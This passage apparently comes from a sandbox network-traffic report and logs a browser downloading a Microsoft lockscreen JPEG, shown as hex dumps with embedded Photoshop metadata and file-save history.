bc ed ea 4c ab 2a 7e ec a0 df 92 ea 75 3e 23 b5 8e cf c1 b3 68 b3 cd 77 a8 e9 17 16 de 54 9f f1 30 44 79 21 fe f7 9f f7 b7 
ad 5d f8 5f e1 59 3c 3f 69 66 9a 46 a5 fd a3 a6 d9 db 79 56 d3 7d 93 c8 fd cf f0 ff 00 d7 4a e7 bc 55 f0 cb 42 f0 be 87 0a 
69 1a 6d de bb ff 00 2d 64 87 ed 
Data Ascii: i~2'Q:u??PDa*aQBJY1,660x?J$g;+]%}&Hz^zljaC&-$,~LHZu?}*}5L*~u>#hwT0Dy!]_Y<?ifFyV}JUBim-d

2022-06-08 07:56:16 UTC 3993 IN Data Raw: c3 2f cf 1d b6 ff 00 ba bf c5 5e db 73 a0 e9 3e 05 f1 07 f6 7c d3 5a dd ea f7 16 5f bb d5 a6 97 ce f2 1d 7f 87 af 
cb 54 3e 25 68 f6 f7 1a 7d e6 a9 65 a3 da 4d e2 a8 e3 48 ac be d9 12 3f ef bf f6 92 57 45 3a 74 93 74 9b d4 e6 a9 89 ae 
9d 3c 47 2d e1 7b bd 3a 1d 0f 88 bc 17 a2 f8 93 4f d0 6e b5 88 6e e6 93 4e 95 ef a3 b5 b3 fd c7 91 f2 7f ac 6f e2 a7 6a 1f 
61 d6 2c fc 37 37 87 2d 3f e2 5b 67 fb db 69 ae bf 76 f3 b2 ff 00 0a ff 00 c0 bf 81 ab 87 d0 fc 41 a9 ea 1e 0f 86 cb c5 16 76 
96 9e 20 b3 fd e5 ed d5 9d d6 c8 2d d2 47 f9 55 37 7f ad 6a 67 c4 a9 35 2b cb 4f 0a dd 24 de 4c 56 77 2f 6d 65 a7 e9 de 
67 fa 46 ed 8c fb 9f fd ca de 2e 5c ad 37 a9 9c e9 46 33 5d 9c b4 77 ba bb 3a cf 13 7c 4a 8f 5c 87 fb 22 6f b2 78 5e fb fd 
54 70 ea 3f 72 4d df 7f ee 7f df 35 77 
Data Ascii: /^s>|Z_T>%h}eMH?WE:tt<G-{:OnnNoja,77-?[givAv -GU7jg5+O$LVw/megF.\7F3]w:|J\"ox^Tp?rM5w

2022-06-08 07:56:16 UTC 4000 IN Data Raw: 7f 9a 3a 83 c1 5e 3a d1 7e 2e 7f a7 78 6e 68 b5 7f ec 6f dd 79 50 cb fe 8b 3c df f3 dd a8 be f8 53 e1 eb 7d 73 
fb 53 4e d4 a6 f0 ee a7 a8 7e f6 5f f9 f2 9d d7 ef ae d6 fe 95 ab 8b b7 bd b9 7e d1 52 a9 ec ea 41 db ba 5b 3e 9a 75 4f f0 
20 f8 a1 1d f7 fc 23 d3 6a 91 cd 77 f6 ab 7f 2e e6 5d 3e 69 77 da c1 f3 fc df 9d 6c 68 fe 2e fb 3e 9f 0d ec fa 6f 9b 2c 96 c9 
fb ab b8 b7 cf fe d6 f5 fe 55 cd 6a 3e 3a bb 1e 37 d4 b4 17 9a ef 5d b6 fb 3a 5b 5c cd a7 69 fb 2d 6d dd 93 6f 97 23 2f 0d 
5b 1e 0f f0 ae 9b e1 7d 3e f2 eb 4b 87 ec 9f 68 b6 fb 34 70 cd 2b ff 00 c0 b6 f5 7d 8d fc 35 1c aa 2a cf 43 5e 66 e0 e2 ed 
24 f6 f9 ee bf 21 fa c5 bc fa ee 87 a3 cd a1 79 da 4c b2 5e f9 96 f0 fd c4 d9 ff 00 2d 22 5a d3 f0 d6 bd a7 de 59 c3 7b ab e
a df d9 57 3e 63 c5 24 37 72 ba 7c 
Data Ascii: :^:~.xnhoyP<S}sSN~_~RA[>uO #jw.]>iwlh.>o,Uj>:7]:[\i-mo#/[}>Kh4p+}5*C^f$!yL^-"ZY{W>c$7r|

2022-06-08 07:56:16 UTC 4160 IN Data Raw: ff 00 63 ef f9 72 ff 00 7b e6 af 52 86 4d 2a f2 ee d3 c8 b4 13 47 71 1f 97 25 dc d2 ec 79 3f bb b6 bc 83 fe 13 4b 
ff 00 10 4b 34 1f be f1 3d f4 77 2f 14 9e 77 ee 2d 77 af cd fe fc 9b 7e 4a f4 cd 06 38 f5 35 fe db 82 ee d6 39 64 df 24 b7 50 
fc f0 ef 5f e1 5a d5 49 a8 25 1d 15 ef a9 95 4a 71 72 bd 4b 5d 2b 69 b7 dc 41 a5 5d da 6a 11 7f c2 3d 77 04 3e 5d c5 c3 
c7 6d a4 ff 00 cf 4f 2f f8 f6 d3 35 0d 1e c2 fa 1b cb 38 f4 df b2 58 fd a7 fd 37 c9 fb f3 ba ff 00 d7 3a ce f0 8d cd bd 9f 88 35 
1b 98 e5 b4 b4 d6 ef 64 fd e4 bf 3c cf fb b4 fb bf ee 55 ed 63 55 93 c1 ff 00 6b f2 f4 db ad 5f 57 f2 fc d8 fe c9 fc 1b be 4d 
9e 5f fc 06 b1 8d 94 39 af 73 59 e9 5b 91 2b 7e 0b cd f9 74 39 bd 62 eb f7 5b f5 1b cf 3a 49 2f 52 c7 c9 d3 a5 f9 23 ff 00 
9e 71 2c 7b 7e 77 ad 08 3c 
Data Ascii: cr{RM*Gq%y?KK4=w/w-w~J859d$P_ZI%JqrK]+iA]j=w>]mO/58X7:5d<UcUk_WM_9sY[+~t9b[:I/R#q,{~w<

2022-06-08 07:56:16 UTC 4191 IN Data Raw: ff 00 c4 0f 15 cd a8 59 4d f6 4b 1d 3a e6 4b 18 b4 99 a5 d8 9e 72 fd f9 25 ff 00 d9 23 a8 3c 17 e0 39 3e 1f e9 
fa 96 82 90 dd ff 00 c4 e6 39 b5 2b df 10 5d fc f7 5f bc 93 e5 8a 24 fe 1a d8 f0 7e a5 69 ff 00 09 35 e2 3f 95 15 f7 cf ff 00 
1f 7f f2 ee 9b 3f bb fd f6 ae 94 a1 19 7b ee ff 00 e6 44 a5 cf 06 e8 ab 79 f9 1d df 83 fc 2d 67 e1 b8 66 b2 92 28 7e d3 fe b6 
48 ad 22 ff 00 9e 95 1e b9 a3 db ea 1a 8f 9f 75 e6 c5 65 1d bb c7 71 2f fb 6b f7 36 ff 00 7b e6 ae 6f c3 fa bd c6 87 a5 69 
1a 66 83 69 a8 6a 36 31 db bc 77 1a 86 af fb 99 a7 7d fb bf 79 fe cf cd 4f f1 35 c7 8b f5 49 a2 d3 f4 18 ad 74 99 6d ed e3 f
2 f5 0b bf f5 7f bc fe e7 f7 a8 a9 7a 8d 69 7b 7d c6 30 87 b3 bf 34 f9 57 9e ff 00 72 bb 5f 89 4b c4 bf 11 3c 3d 67 a2 c5 07 
9d 0f da 6f 3c b1 79 2f df 77 
Data Ascii: YMK:Kr%#<9>9+]_$~i5??{Dy-gf(~H"ueq/k6{oifij61w}yO5Itmzi{}04Wr_K<=go<y/w

2022-06-08 07:56:16 UTC 4199 IN Data Raw: 51 ba f3 3a 29 7b 57 0b b9 5b b5 b5 64 b7 52 5b ff 00 69 dd ff 00 69 ea b2 da 69 b1 c8 96 f6 76 b0 c5 f7 fc bf 
bd 57 34 7d 0e c6 e3 45 86 1b 29 a5 9a 29 24 ff 00 48 f3 a5 fe 0f ee d1 34 73 b5 d4 2e f6 70 cb 14 71 f9 91 4b 2c bf 3f f9 
db 51 da f8 9e d5 3c 41 2d 9d d4 de 6c b2 47 e5 c7 2f c9 b2 b9 db 49 a5 2d cd 79 67 28 bf 67 7d bb fe 82 c3 a6 e9 3e 0c 
b5 9a d7 48 b3 b4 b4 1f 27 97 69 0f c9 f7 be 5a a3 e2 4f 13 c7 e0 5d 2a f1 ee bf b3 e2 92 4d 9e 5f f7 ea 7f 13 5d be 9d 67 
2d aa 7f a5 5c dc 6c 8e 39 7f bf 2d 7c e1 f1 bb c2 36 9e 23 d2 ad 34 b8 2e f5 0d 47 c5 b7 9a d5 ad cd c4 b0 fe fb fd 07 ed 
5b 1a 2f fa 66 9b 3a b5 72 fd 61 f3 7b 05 bb d2 e7 45 2a 34 e3 0f 69 55 5e 31 d7 fe 0f 92 3a c8 fc bf 19 c3 fd b6 96 77 72 
da d9 5c ff 00 a3 7d f8 12 7b 89 be 54 ff 
Data Ascii: Q:){W[dR[iiivW4}E))$H4s.pqK,?Q<A-lG/I-yg(g}>H'iZO]*M_]g-\l9-|6#4.G[/f:ra{E*4iU^1:wr\}{T

2022-06-08 07:56:16 UTC 4589 IN Data Raw: da 26 8f 16 a1 7b aa dc 79 b6 5a 7c b1 3f f0 ff 00 1b b3 7d c6 ad 3f 86 7f 0f 1b c3 eb ae eb 1e 2b 98 5f eb fa a5 
e7 db 64 87 cd fd dc 52 ff 00 72 35 a5 ec ea 4b 5b df f2 f9 3e a4 39 51 82 7a 3b ec 97 5b dd 6e 93 d3 d6 ff 00 a9 c5 d9 e8 
f7 7e 0f ba 3a be 9d e6 e9 17 5a cd cf da 6e 74 f9 7e 48 67 5f e2 db 2b 7f aa 5a 93 59 d7 ef f4 bf 18 43 73 fd 9b a7 e9 da 
1d 9c 8f 73 2e a1 34 b1 ba 6c d9 bb cc 5f e3 47 dd f2 d7 63 e2 9b bb 1f 14 5d 43 65 a8 f9 b6 91 f9 8f e5 5d 08 9d df e6 fb 
eb fe c3 57 99 eb 1f 0f 35 df 1a 78 67 52 ba be d1 ff 00 b2 6f f5 9d 96 37 be 1f bc 97 e4 bb 86 3f 97 ce f3 7f dc f9 aa 62 9b 
b4 60 f4 5f d6 bd 8d fd ad 97 3d 6f 8b b6 fa 7a fe 6f 5b 19 90 4f 1f c6 0f 13 7f c2 43 a0 f9 30 eb 91 c7 3d 8d 94 d7 9f f1 eb 
f3 7f cb 49 3f 8b ee 7d da f5 
Data Ascii: &{yZ|?}?+_dRr5K[>9Qz;[n~:Znt~Hg_+ZYCss.4l_Gc]Ce]W5xgRo7?b`_=ozo[OC0=I?}

2022-06-08 07:56:16 UTC 4605 IN Data Raw: 53 c3 3a 6c 97 57 91 69 37 36 f6 33 e9 b7 ba 4f 9b f6 af 31 37 bf cc d2 7f 1b 7d da d4 f1 37 8a b4 5f 0f cd a6 
a6 b5 fb eb 9d 2b fd 5c df 64 ff 00 57 0f f0 b7 fb 8b 5d 8a 83 a7 1f 69 29 5b d7 51 2c 42 ad 3e 4a 51 bf e1 fe 68 c4 f8 99 e3
fb bd 53 c3 f6 8f e0 af 37 ed d2 6f b6 b2 ba d4 3f d4 ce ff 00 c5 1a ff 00 b7 fe f5 52 f1 3f 86 34 1f 18 e9 3e 0a d4 ce bb 77 
68 34 ab 9f 2b fe b8 5c 2c 7f c6 df dd af 3c f1 37 8f a3 f8 cd e3 6f 0d eb d6 9a 0c da 8d b5 9f da be cd 15 a4 de 4d ac 88 
bf 75 7e 6f 93 cd 3f eb 37 57 73 aa 78 92 0d 1f e0 ec 57 3a de af 16 91 14 76 df 66 bd b5 86 5d f3 79 df c1 f3 7f 7e b1 96 
22 2a a3 8b 4b 53 6f 60 dd 18 b5 7e 68 b5 a2 7a ae fa 94 bc 63 f1 43 c3 de 17 d1 35 2d 22 0b 3d 3e 6f 33 64 b6 da b7 cf 
e4 5d df 7f b5 2f f7 ab cc ec 7e 23 
Data Ascii: S:lWi763O17}7_+\dW]i)[Q,B>JQhS7o?R?4>wh4+\,<7oMu~o?7WsxW:vf]y~"*KSo`~hzcC5-"=>o3d]/~#

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

61 192.168.2.3 49786 80.67.82.211 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:16 UTC 1093 OUT GET /cms/api/am/imageFileData/RE4XTwY?ver=47fc HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive
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2022-06-08 07:56:16 UTC 1294 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4XTwY?ver=47fc
Last-Modified: Fri, 03 Jun 2022 19:10:22 GMT
X-Source-Length: 1608221
X-Datacenter: northeu
X-ActivityId: 8531ad05-8c16-48f7-9d81-07e2ccabb137
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1608221
Cache-Control: public, max-age=429482
Expires: Mon, 13 Jun 2022 07:14:18 GMT
Date: Wed, 08 Jun 2022 07:56:16 GMT
Connection: close

2022-06-08 07:56:16 UTC 1295 IN Data Raw: ff d8 ff e1 0e 4b 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 32 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 32 3a 30 33 3a 30 33 20 31 31 3a 33 37 3a 32 38 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: KExifMM*bj(1r2i''Adobe Photoshop 23.2 (Windows)2022:03:03 11:37:288"

2022-06-08 07:56:16 UTC 1326 IN Data Raw: 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 32 20 28 57 69 6e 64 6f 77 73 29 22 20 
73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 20 3c 2f 72 64 66 3a 53 65 71 3e 20 3c 2f 78 6d 70 4d 4d 3a 48 
69 73 74 6f 72 79 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 
63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 32 66 63 35 66 33 62 34 2d 34 37 64 37 2d 62 30 34 33 2d 61 35 34 61 2d 30 
64 30 32 37 37 39 63 61 35 61 38 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 61 64 6f 62 65 3a 64 6f 6
3 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 63 35 30 63 32 66 32 2d 39 32 36 39 2d 61 35 34 65 2d 39 37 61 66 2d 30 30 
66 63 37 34 37 37 66 66 33 66 22 20 73 74 52 65 66 3a 6f 72 69 67 
Data Ascii: nt="Adobe Photoshop 23.2 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <xmpMM:Derived
From stRef:instanceID="xmp.iid:2fc5f3b4-47d7-b043-a54a-0d02779ca5a8" stRef:documentID="adobe:docid:photoshop:4
c50c2f2-9269-a54e-97af-00fc7477ff3f" stRef:orig

2022-06-08 07:56:16 UTC 1342 IN Data Raw: 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 
69 6e 67 2d 47 61 72 64 65 6e 61 50 61 73 73 49 74 61 6c 79 5c 43 72 6f 70 73 5c 42 69 6e 67 2d 61 67 65 5f 49 42 4b 
2d 34 30 39 30 31 35 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 
37 2d 32 37 54 31 32 3a 32 36 3a 30 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 
2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 
30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 37 54 31 32 
3a 32 37 3a 31 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
Data Ascii: ile C:\Users\v-lizagh\MS\Windows10\Bing-GardenaPassItaly\Crops\Bing-age_IBK-4090158_1920x1080.jpg 
saved&#xA;2016-07-27T12:26:05-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Lan
dscape.psd saved&#xA;2016-07-27T12:27:11-07:00&#x9;File C

2022-06-08 07:56:16 UTC 1423 IN Data Raw: 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 30 32 37 32 35 37 2d 47 72 61 64 69 65 6e 74 5f 
31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 37 3a 34 
31 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 31 30 2d 55 70 67 72 61 64 65 5c 42 72 61 6e 64 41 70 70 72 6f 76 65 64 5
c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 30 32 37 32 35 37 5f 3
1 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 37 3a 34 
34 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 57 69 6e 
Data Ascii: sPro_GettyImages-641027257-Gradient_1920x1080.jpg saved&#xA;2016-08-04T17:41:44-07:00&#x9;File C:\
Users\v-lizagh\MS\Windows10\Win10-Upgrade\BrandApproved\Crops\WindowsPro_GettyImages-641027257_1920x
1080.psd saved&#xA;2016-08-04T17:44:06-07:00&#x9;File Win

2022-06-08 07:56:16 UTC 1598 IN Data Raw: 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 
61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 
35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 
6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 
2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 37 54 31 30 3a 34 39 3a 31 39 2d 30 37 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 6
1 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 
Data Ascii: 7:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Locks
creen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-09-27T10:49:19-07:00&#x
9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Phot

2022-06-08 07:56:16 UTC 1614 IN Data Raw: 3a 35 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 
68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 
43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 
30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 
46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 37 54 31 31 3a 34 39 3a 35 
33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 
69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 
Data Ascii: :57-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_
Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-11-17T11:49:53-08:
00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\

2022-06-08 07:56:16 UTC 1622 IN Data Raw: 30 36 44 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 36 3a 30 31 3a 
32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 
57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 
77 61 79 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 77 61 79 2d 55 73 65 72 73 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 
5f 34 36 31 31 30 36 36 37 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2
d 31 31 2d 32 33 54 31 36 3a 30 32 3a 35 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 
Data Ascii: 06D.psb saved&#xA;2016-11-23T16:01:29-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-
Batch2\_CHOSEN-Sway\Crops\Office_Sway-Users_shutterstock_461106679_1920x1080.jpg saved&#xA;2016-11-2
3T16:02:54-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\
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2022-06-08 07:56:16 UTC 1702 IN Data Raw: 4e 45 53 53 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 35 30 31 36 33 35 38 39 5f 31 39 32 30 78 31 30 38 30 
5f 32 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 30 31 54 31 37 3a 34 38 3a 31 30 2d 30 38 
3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 
52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 
41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 
61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 
20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 30 31 54 
Data Ascii: NESS_GettyImages-650163589_1920x1080_2.jpg saved&#xA;2017-02-01T17:48:10-08:00&#x9;File 
C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_
Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-02-01T

2022-06-08 07:56:16 UTC 1798 IN Data Raw: 32 30 31 37 2d 30 33 2d 30 37 54 31 31 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 
62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 53 2d 4d 
61 6b 65 57 68 61 74 73 4e 65 78 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 34 37 35 37 37 37 5f 31 39 32 30 
78 31 30 38 30 33 32 33 39 43 41 32 41 30 31 31 38 46 44 37 45 46 37 38 41 35 39 35 33 45 37 39 35 36 37 33 32 2e 70 
73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 37 54 31 31 3a 31 37 3a 30 37 2d 30 38 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
Data Ascii: 2017-03-07T11:12-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\
AutoRecover\_MS-MakeWhatsNext_GettyImages-155475777_1920x10803239CA2A0118FD7EF78A5953E7956732.psb 
saved&#xA;2017-03-07T11:17:07-08:00&#x9;File C:\Users\v-liz

2022-06-08 07:56:16 UTC 2251 IN Data Raw: 38 35 37 36 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 
30 33 2d 32 37 54 31 32 3a 34 30 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 
74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 53 65 72 
76 69 63 69 6e 67 5f 35 30 30 70 78 2d 39 39 37 35 35 31 35 39 5f 31 39 32 30 78 31 30 38 30 42 42 44 46 30 41 31 30 4
1 30 35 35 37 33 43 45 30 35 42 41 43 36 37 37 36 46 32 36 42 43 33 30 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 
32 30 31 37 2d 30 33 2d 32 38 54 31 33 3a 33 33 3a 35 32 2d 30 37 3a 
Data Ascii: 85762_1920x1080.jpg saved&#xA;2017-03-27T12:40:07-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming
\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_WindowsServicing_500px-99755159_1920x1080BBDF0A10A0557
3CE05BAC6776F26BC30.psb saved&#xA;2017-03-28T13:33:52-07:

2022-06-08 07:56:16 UTC 2330 IN Data Raw: 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 53 70 72 69 6e 67 54 56 4d 6f 76 69 65 2d 4d 
61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 31 35 38 36 38 31 39 30 5f 31 39 32 30 78 31 30 38 30 38 41 37 41 33 
30 42 33 36 30 34 38 46 37 32 45 34 38 43 39 32 39 33 34 39 33 43 37 41 42 36 41 2e 70 73 62 20 73 61 76 65 64 26 23 
78 41 3b 32 30 31 37 2d 30 34 2d 32 35 54 31 30 3a 30 39 3a 34 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4d 
49 54 2d 53 70 72 69 6e 67 54 56 4d 6f 76 69 65 2d 4d 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 31 35 38 36 38 
31 39 30 5f 31 39 32 30 78 31 30 38 30 2d 52 65 63 6f 76 65 72 65 64 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 
32 30 31 37 2d 30 34 2d 32 35 54 31 33 3a 30 34 3a 34 36 2d 30 37 3a 30 
Data Ascii: 017\AutoRecover\_MIT-SpringTVMovie-May_GettyImages-115868190_1920x10808A7A30B36048F72E48
C9293493C7AB6A.psb saved&#xA;2017-04-25T10:09:45-07:00&#x9;File MIT-SpringTVMovie-May_GettyImages-11
5868190_1920x1080-Recovered.psd opened&#xA;2017-04-25T13:04:46-07:0

2022-06-08 07:56:16 UTC 2346 IN Data Raw: 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 35 3a 32 34 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 61 
